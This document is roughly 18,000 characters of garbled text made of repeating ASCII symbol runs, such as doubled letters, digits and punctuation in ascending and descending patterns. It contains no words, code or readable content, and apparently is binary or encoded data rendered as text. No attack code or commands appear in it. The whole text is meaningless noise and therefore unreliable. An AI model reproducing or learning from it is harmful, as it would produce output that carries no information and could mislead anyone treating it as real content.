00//..--hhggffeeiijjkkll11223344 - -##""!! [[ZZYYXXvvwwxxyy>>??@@AA ,,++**))ddccbbaammnnoopp55667788 WWVVUUTTzz{{||}}BBCCDDEE ((''&&%%``__^^]]qqrrsstt99::;;<<SSRRQQPP~~FFGGHHII !!""##$$$$##""!!\\[[ZZYYuuvvwwxx==>>??@@ - - OONNMMLLJJKKLLMM - - %%&&''(( !!""## XXWWVVUUyyzz{{||AABBCCDD KKJJIIHHNNOOPPQQ))**++,,$$%%&&'' TTSSRRQQ}}~~EEFFGGHH ! GGFFEEDD~~}}||RRSSTTUU--..//00(())**++!!""##$$PPOONNMMIIJJKKLL!""##$$% - - CCBBAA@@{{zzyyxxVVWWXXYY11223344,,--..//%%&&''((LLKKJJIIMMNNOOPP !!%&&''(()??>>==<>??@@==>>??@@11223344@@??>>==xxwwvvuuYYZZ[[\\**++,,--34556677 33221100kkjjiihhffgghhii&&''(())AABBCCDDAABBCCDD55667788<<;;::99ttssrrqq]]^^__``..//55668899::;; - - //..--,,ggffeeddjjkkllmm**++,,--EEFFGGHHEEFFGGHH99::;;<<88776655ppoonnmmaabbccdd778899::<<==>>??++**))((ccbbaa``nnooppqq..//0011IIJJKKLLIIOOPPQQ==>>??@@44332211llkkjjiieeffgghh;;<<==>>@@AABBCC''&&%%$$__^^]]\\rrssttuu22334455MMNNOOPPRRSSTTUUAABBCCDD - - 00//..--hhggffeeiijjkkll??@@AABBDDEEFFGG##""!! [[ZZYYXXvvwwxxyy66778899QQRRSSTTVVWWXXYYEEFFGGHH ,,++**))ddccbbaammnnooppCCDDEEFFHHIIJKLMWWVVUUTTzz{{||}}::;;<<==UUVVWWXXZZ[[\\]]IIJJKKLL((''&&%%``__^^]]qqrrssttGGHHIIOONOOPPQQR !!SSRRQQPP~~>>??@@AAYYZZ[[\\^^__``aaMMNNOOPP$$##""!!\\[[ZZYYuuvvwwxxPPQQRRSSRSSTTUUV""##$$%%OONNMMLLBBCCDDEE]]^^__``bbcciijjQQRRSSTT XXWWVVUUyyzz{{||TTUUVVWWVWWXXYYZ&&''(())KKJJIIHHFFGGHHIIaabbccddkkllmmnnUUVVWWXX TTSSRRQQ}}~~XXYYZZ[[Z[[\\]]^**++,,-- GGFFEEDD~~}}||JJKKLLMMeeffgghhooppqqrrYYZZ[[\\!!""##$$PPOONNMM\\]]^^__^__``aab..//0011 - - CCBBAA@@{{zzyyxxNNOOPPQQiijjkkllssttuuvv]]^^__``%%&&''((LLKKJJII``aabbccbccdefgh22334455??>>==<>==xxwwvvuuqqrrssttqqrrsstt>>??@@AA 33221100kkjjiihh^^__``aabbccddee__``aabbGGHHIIJJ**))((''bbaa``__ooppqqrrEEFFGGHHJKLMNOOPUUTTSSRR||}}~~DDEEFFGG<<==>>??))**++,, HHGGFFEE~~}}QQRRSSTT""##$$%%)**++,,-;;::9988ssrrqqppffgghhiicciijjkkKKLLMMNN&&%%$$##^^]]\\[[ssttuuvvIIOOPPQQPQQRRSST !!""##QQPPOONNHHIIJJKK@@AABBCC--..//00 - - DDCCBBAA||{{zzyyUUVVWWXX&&''(())-..//01277665544oonnmmll~~}}||jjkkllmmllmmnnooOOPPQQRR""!! ZZYYXXWWwwxxyyzzRRSSTTUUTUUVVWWX$$%%&&''MMLLKKJJLLMMNNOODDEEFFGG11223344@@??>>==xxwwvvuuYYZZ[[\\**++,,--34556677 33221100kkjjiihh{{zzyyxxnnooppqqppqqrrssSSTTUUVVVVUUTTSS{{||}}~~VVWWXXYYXYYZZ[[\(())**++IIHHGGFF~~PPQQRRSSHHIIOOPP55667788<<;;::99ttssrrqq]]^^__``..//55668899::;; - - //..--,,ggffeeddwwvvuuttrrssttuuttuuvvwwWWXXYYZZ !!""RRQQPPOOZZ[[\\]]\]]^^__`,,--..// - -EEDDCCBB}}||{{zzTTUUVVWWQQRRSSTT99::;;<<88776655ppoonnmmaabbccdd778899::<<==>>??++**))((ccbbaa``ssrrqqppvvwwxxyyxxyyzz{{[[\\]]^^##$$%%&&NNMMLLKK^^__``aa`aabbccd00112233 AA@@??>>yyxxwwvvXXYYZZ[[UUVVWWXX==>>??@@44332211llkkjjiieeffgghh;;<<==>>@@AABBCC''&&%%$$__^^]]\\oonnmmllzz{{||}}||}}__``aabb''(())**JJIIHHGGbbcciijjefghiijj44556677==<<;;::uuttssrr\\]]^^__YYZZ[[\\AABBCCDD - - 00//..--hhggffeeiijjkkll??@@AABBDDEEFFGG##""!! [[ZZYYXXkkjjiihh~~ccddeeff++,,--.. FFEEDDCC~~}}||{{kkllmmnnkkllmmnn8899::;;99887766qqppoonn``aabbcc]]^^__``EEFFGGHH ,,++**))ddccbbaammnnooppCCDDEEFFHHIIJKLMWWVVUUTTggffeeddgghhiijj//001122 - - BBAA@@??zzyyxxwwooppqqrrooppqqrr<<==>>??55443322mmllkkjjddeeffggaabbcciiIIJJKKLL((''&&%%``__^^]]qqrrssttGGHHIIOONOOPPQQR !!SSRRQQPP}}||{{ccbbaa``kkllmmnn33445566>>==<<;;vvuuttssssttuuvvssttuuvv@@AABBCC - - 1100//..iihhggffhhiijjkkjjkkllmmMMNNOOPP$$##""!!\\[[ZZYYuuvvwwxxPPQQRRSSRSSTTUUV""##$$%%OONNMMLLzzyyxxww__^^]]\\ooppqqrr778899::::998877rrqqppoowwxxyyzzwwxxyyzzDDEEFFGG --,,++**eeddccbbllmmnnoonnooppqqQQRRSSTT XXWWVVUUyyzz{{||TTUUVVWWVWWXXYYZ&&''(())KKJJIIHHvvuuttss[[ZZYYXXssttuuvv;;<<==>>66554433nnmmllkk{{||}}{{||}}~HHIIJJKK))((''&&aa``__^^ppqqrrssrrssttuuUUVVWWXX TTSSRRQQ}}~~XXYYZZ[[Z[[\\]]^**++,,-- GGFFEEDDrrqqppooWWVVUUTTwwxxyyzz??@@AABB - -221100//jjiihhggLLMMNNOO%%$$##""]]\\[[ZZttuuvvwwvvwwxxyyYYZZ[[\\!!""##$$PPOONNMM\\]]^^__^__``aab..//0011 - - CCBBAA@@nnmmllkkSSRRQQPP{{||}}~~CCDDEEFF ..--,,++ffeeddccPPQQRRSS!! YYXXWWVVxxyyzz{{zz{{||}}]]^^__``%%&&''((LLKKJJII``aabbccbccdefgh22334455??>>==<>==xxwwvvuuqqrrssttqqrrsstt>>??@@AA 33221100YYXXWWVVCCBBAA@@SSTTUUVVVVUUTTSS``aabbcc(())**++IIHHGGFF~~mmnnoopp55667788<<;;::99ttssrrqquuvvwwxxuuvvwwxxBBCCDDEE - - //..--,,UUTTSSRR??>>==<>yyxxwwvvuuvvwwxx==>>??@@44332211llkkjjii}}}}~JJKKLLMM''&&%%$$HHGGFFEE77665544~}}||{{__``aabb''(())**JJIIHHGGllmmnnoo44556677==<<;;::uuttssrryyzz{{||AABBCCDD - - 00//..--hhggffeeNNOOPPQQ##""!! DDCCBBAA33221100zzyyxxwwccddeeff++,,--.. FFEEDDCC~~}}||{{ppqqrrss8899::;;99887766qqppoonn}}~~EEFFGGHH ,,++**))ddccbbaaRRSSTTUU@@??>>==//..--,,}}||{{zzvvuuttssgghhiijj//001122 - - BBAA@@??zzyyxxwwttuuvvww<<==>>??55443322mmllkkjjIIJJKKLL((''&&%%``__^^]]VVWWXXYY !!<<;;::99++**))((yyxxwwvvrrqqppookkllmmnn33445566>>==<<;;vvuuttssxxyyzz{{@@AABBCC - - 1100//..iihhggffMMNNOOPP$$##""!!\\[[ZZYYZZ[[\\]]""##$$%%88776655''&&%%$$uuttssrrnnmmllkkooppqqrr778899::::998877rrqqppoo}}||{{||}}~~DDEEFFGG --,,++**eeddccbbQQRRSSTT XXWWVVUU^^__``aa&&''(())//..--,,##""!! qqppoonnjjiihgfessttuuvv;;<<==>>66554433nnmmllkkzzyyxxwwHHIIJJKK))((''&&aa``__^^UUVVWWXX TTSSRRQQbbccddee**++,,-- ++**))((mmllkkjjdccbbaa`wwxxyyzz??@@AABB - -221100//jjiihhggvvuuttssLLMMNNOO%%$$##""]]\\[[ZZYYZZ[[\\!!""##$$PPOONNMMffgghhii..//0011 - - ''&&%%$$iiccbbaa`__^^]]\{{||}}~~CCDDEEFF ..--,,++ffeeddccrrqqppoo~~PPQQRRSS!! YYXXWWVV~}}]]^^__``%%&&''((LLKKJJIIjjkkllmm22334455##""!! ``__^^]]\[[ZZYYXGGHHIIJJ**))((''bbaa``__nnmmllkk}}||{{zzTTUUVVWWUUTTSSRR||{{zzyyaabbccdd))**++,, HHGGFFEE~~}}nnooppqq66778899\\[[ZZYYXWWVVUUTKKLLMMNN&&%%$$##^^]]\\[[jjiiccbbyyxxwwvvXXYYZZ[[ !!""##QQPPOONN}}||xxwwvvuueeffgghh--..//00 - - DDCCBBAA||{{zzyyrrssttuu::;;<<== XXWWVVUUTSSRRQQPOOPPQQRR""!! ZZYYXXWWaa``__^^uuttssrr\\]]^^__$$%%&&''MMLLKKJJ{{zzyyxxttssrrqqiijjkkll11223344@@??>>==xxwwvvuuvvwwxxyy>>??@@AA  - - TTSSRRQQPOONMLKJ~~}}||{{SSTTUUVVVVUUTTSS]]\\[[ZZqqppoonn``aabbcc(())**++IIHHGGFFwwvvuuttppoonnmmmmnnoopp55667788<<;;::99ttssrrqq}}zz{{||}}BBCCDDEE - -  - - PPOOIIHHIIHHGGFFzzyyxxwwWWXXYYZZ !!""RRQQPPOOYYXXWWVVmmllkkjjddeeffgg,,--..// - -EEDDCCBBssrrqqppllkkjjiiqqrrsstt99::;;<<88776655ppoonnmm||{{zzyy~~FFGGHHII - - - -GGFFEEDDEEDDCCBBvvuuttss[[\\]]^^##$$%%&&NNMMLLKKUUTTSSRRiihhggffhhiijjkk00112233 AA@@??>>oonnmmllhgfedccbuuvvwwxx==>>??@@44332211llkkjjiixxwwvvuuJJKKLLMM CCBBAA@@AA@@??>>rrqqppoo__``aabb''(())**JJIIHHGGQQPPOOIIeeddccbbllmmnnoo44556677==<<;;::kkjjiiccbaa``__^yyzz{{||AABBCCDD - - 00//..--hhggffeettssrrqqNNOOPPQQ??>>==<<==<<;;::nnmmllkkccddeeff++,,--.. FFEEDDCCHHGGFFEEaa``__^^ppqqrrss8899::;;99887766bbaa``__^]]\\[[Z}}~~EEFFGGHH ,,++**))ddccbbaappoonnmm~~}}||RRSSTTUU;;::998899887766jjiihhgggghhiijj//001122 - - BBAA@@??DDCCBBAA]]\\[[ZZttuuvvww<<==>>??55443322^^]]\\[[ZYYXXWWVIIJJKKLL((''&&%%``__^^]]llkkjjii{{zzyyxxVVWWXXYY !! !!776655//5543210/ffeeddcckkllmmnn33445566>>==<<;;@@??>>==YYXXWWVVxxyyzz{{@@AABBCC - - 1100//..ZZYYXXWWVUUTTSSRMMNNOOPP$$##""!!\\[[ZZYYccbbaa``wwvvuuttZZ[[\\]]""##$$%% !!""##""##$$%%..--,,++/..--,,+bbaa``__ooppqqrr778899::::998877<<;;::99UUTTSSRR||}}~~DDEEFFGG --,,++**VVUUTTSSRQQPPOON~~}}QQRRSSTT XXWWVVUU__^^]]\\ssrrqqpp^^__``aa&&''(())$$%%&&''&&''(())**))((''+**))(('^^]]\\[[ssttuuvv;;<<==>>6655443388776655QQPPOONNHHIIJJKK))((''&&RRQQPPOOMLKJIIHH||{{zzyyUUVVWWXX TTSSRRQQ[[ZZYYXXoonnmmllbbccddee**++,,--(())**++**++,,--&&%%$$##'&&%%$$#ZZYYXXWWwwxxyyzz??@@AABB - -221100////..--,,MMLLKKJJLLMMNNOO%%$$##""IIHHGGFFGGFFEEDDxxwwvvuuYYZZ[[\\!!""##$$PPOONNMMWWVVUUTTkkjjiihhffgghhii..//0011,,--..//..//0011""!! #""!! VVUUTTSS{{||}}~~CCDDEEFF ..--,,++++**))((IIHHGGFF~~PPQQRRSS!! EEDDCCBBCCBBAA@@ttssrrqq]]^^__``%%&&''((LLKKJJIISSRRQQPPggffeeddjjkkllmm223344555566778822334455RRQQPPOOGGHHIIJJ**))((''''&&%%$$EEDDCCBB}}||{{zzTTUUVVWWAA@@??>>??>>==<>yyxxwwvvXXYYZZ[[ !!""##==<<;;::;;::9988llkkjjiieeffgghh--..//00 - - DDCCBBAAFFEEDDCC__^^]]\\rrssttuu::;;<<====>>??@@::;;<<==JJIIHHGGOOPPQQRR""!! ==<<;;::uuttssrr\\]]^^__$$%%&&''9988776677665543hhggffeeiijjkkll11223344@@??>>==BBAA@@??[[ZZYYXXvvwwxxyy>>??@@AAAABBCCDD>>??@@AA - - FFEEDDCC~~}}||{{SSTTUUVV99887766qqppoonn``aabbcc(())**++55//..--210//..-ddccbbaammnnoopp55667788<<;;::99>>==<<;;WWVVUUTTzz{{||}}BBCCDDEEEEFFGGHHBBCCDDEE  - - BBAA@@??zzyyxxwwWWXXYYZZ !!""55443322mmllkkjjddeeffgg,,--..// - -,,++**))-,,++**)``__^^]]qqrrsstt99::;;<<88776655::998877SSRRQQPP~~FFGGHHIIIIOOPPQQFFGGHHII>>==<<;;vvuuttss[[\\]]^^##$$%%&& 1100//..iihhggffhhiijjkk00112233 ((''&&%%)((''&&%\\[[ZZYYuuvvwwxx==>>??@@443322116655//..OONNMMLLJJKKLLMMRRSSTTUUJJKKLLMM - - ::998877rrqqppoo__``aabb''(())** - - --,,++**eeddccbbllmmnnoo44556677$$##""!!%$$##""!XXWWVVUUyyzz{{||AABBCCDD - - 00//..----,,++**KKJJIIHHNNOOPPQQVVWWXXYYNNOOPPQQ 66554433nnmmllkkccddeeff++,,--.. ))((''&&aa``__^^ppqqrrss8899::;; ! TTSSRRQQ}}~~EEFFGGHH ,,++**))))((''&&GGFFEEDD~~}}||RRSSTTUUZZ[[\\]]RRSSTTUU - -221100//jjiihhgggghhiijj//001122 - - %%$$##""]]\\[[ZZttuuvvww<<==>>??PPOONNMMIIJJKKLL((''&&%%%%$$##""CCBBAA@@{{zzyyxxVVWWXXYY^^__``aaVVWWXXYY ..--,,++ffeeddcckkllmmnn33445566 - - !! YYXXWWVVxxyyzz{{@@AABBCC - - LLKKJJIIMMNNOOPP$$##""!!!! ??>>==<> - -QQPPOONNHHIIJJKK - -  DDCCBBAA||{{zzyyUUVVWWXX 77665544oonnmmllbbccddeeooppqqrrbbccddee%%&&''((""!! ZZYYXXWWwwxxyyzz??@@AABB MMLLKKJJLLMMNNOO - - @@??>>==xxwwvvuuYYZZ[[\\!!""##$$ 33221100kkjjiihhffgghhiissttuuvvffgghhii))**++,,VVUUTTSS{{||}}~~CCDDEEFFIIHHGGFF~~PPQQRRSS <<;;::99ttssrrqq]]^^__``%%&&''(( - - //..--,,ggffeeddjjkkllmmwwxxyyzzjjkkllmm--..//55 !!""RRQQPPOOGGHHIIJJ !!""# - -EEDDCCBB}}||{{zzTTUUVVWW - - 88776655ppoonnmmaabbccdd))**++,, ++**))((ccbbaa``nnooppqq{{||}}nnooppqq66778899##$$%%&&NNMMLLKKKKLLMMNN#$$%%&&' AA@@??>>yyxxwwvvXXYYZZ[[ !!""##44332211llkkjjiieeffgghh--..//00 - - ''&&%%$$__^^]]\\rrssttuurrssttuu::;;<<==''(())**JJIIHHGGOOPPQQRR !!""##'(())**+==<<;;::uuttssrr\\]]^^__$$%%&&'' - - 00//..--hhggffeeiijjkkll11223344 - -##""!! [[ZZYYXXvvwwxxyyvvwwxxyy>>??@@AA++,,--.. FFEEDDCC~~}}||{{SSTTUUVV$$%%&&''+,,--../99887766qqppoonn``aabbcc(())**++ ,,++**))ddccbbaammnnoopp55667788 WWVVUUTTzz{{||}}zz{{||}}BBCCDDEE//001122 - - BBAA@@??zzyyxxwwWWXXYYZZ(())**++/012345555443322mmllkkjjddeeffgg,,--..// !!""((''&&%%``__^^]]qqrrsstt99::;;<<SSRRQQPP~~~~FFGGHHII33445566>>==<<;;vvuuttss[[\\]]^^,,--..//66778899 - - 1100//..iihhggffhhiijjkk00112233##$$%%&&$$##""!!\\[[ZZYYuuvvwwxx==>>??@@ - - OONNMMLLOOPPQQRR778899::::998877rrqqppoo__``aabb55667788::;;<<== --,,++**eeddccbbllmmnnoo44556677''(())** XXWWVVUUyyzz{{||AABBCCDD KKJJIIHHSSTTUUVV;;<<==>>66554433nnmmllkkccddeeff99::;;<<>>??@@AA))((''&&aa``__^^ppqqrrss8899::;;++,,--.. TTSSRRQQ}}~~EEFFGGHH ! GGFFEEDD~~}}||WWXXYYZZ??@@AABB - -221100//jjiihhgggghhiijj==>>??@@BBCCDDEE%%$$##""]]\\[[ZZttuuvvww<<==>>??//556677!!""##$$PPOONNMMIIJJKKLL!""##$$% - - CCBBAA@@{{zzyyxx[[\\]]^^CCDDEEFF ..--,,++ffeeddcckkllmmnnAABBCCDDFFGGHHII!! YYXXWWVVxxyyzz{{@@AABBCC8899::;;%%&&''((LLKKJJIIMMNNOOPP !!%&&''(()??>>==<=>=>=<;<;<;<;:9:9:9:96565656543434343/0/0/0/0.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:96565656543434343/0/0/0//.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:96565656543434343////0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - ZYZYXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIIIIIJIJHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!   - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565434343210/0/0///,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJHGFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:98787876565656521212121///0/0/0,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121/0/0/0/0,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121/0/0/0/0,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIIIIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVUTSTSRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121/0/0////,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121//0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIIIFEFEFEFEDCDCDCDCBA@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIIIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/////,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIIIIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - XWXWXWXWVUVUTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCBABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876543434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQPOPONMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:98787878743434343210/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=<;<;<;:9:9:9:987878787434343430//////0.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343/0/0/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343/0/0/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        XWXWVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIIIIIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878743434343//////0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - QQRRSSTT$$%%&&''llkkjjiiuuvvwwxxLLKKJJII55667788,,++**))[[ZZYYXXJJKKLLMMwwvvuuttjjkkllmm - - WWVVUUTT__``aabb 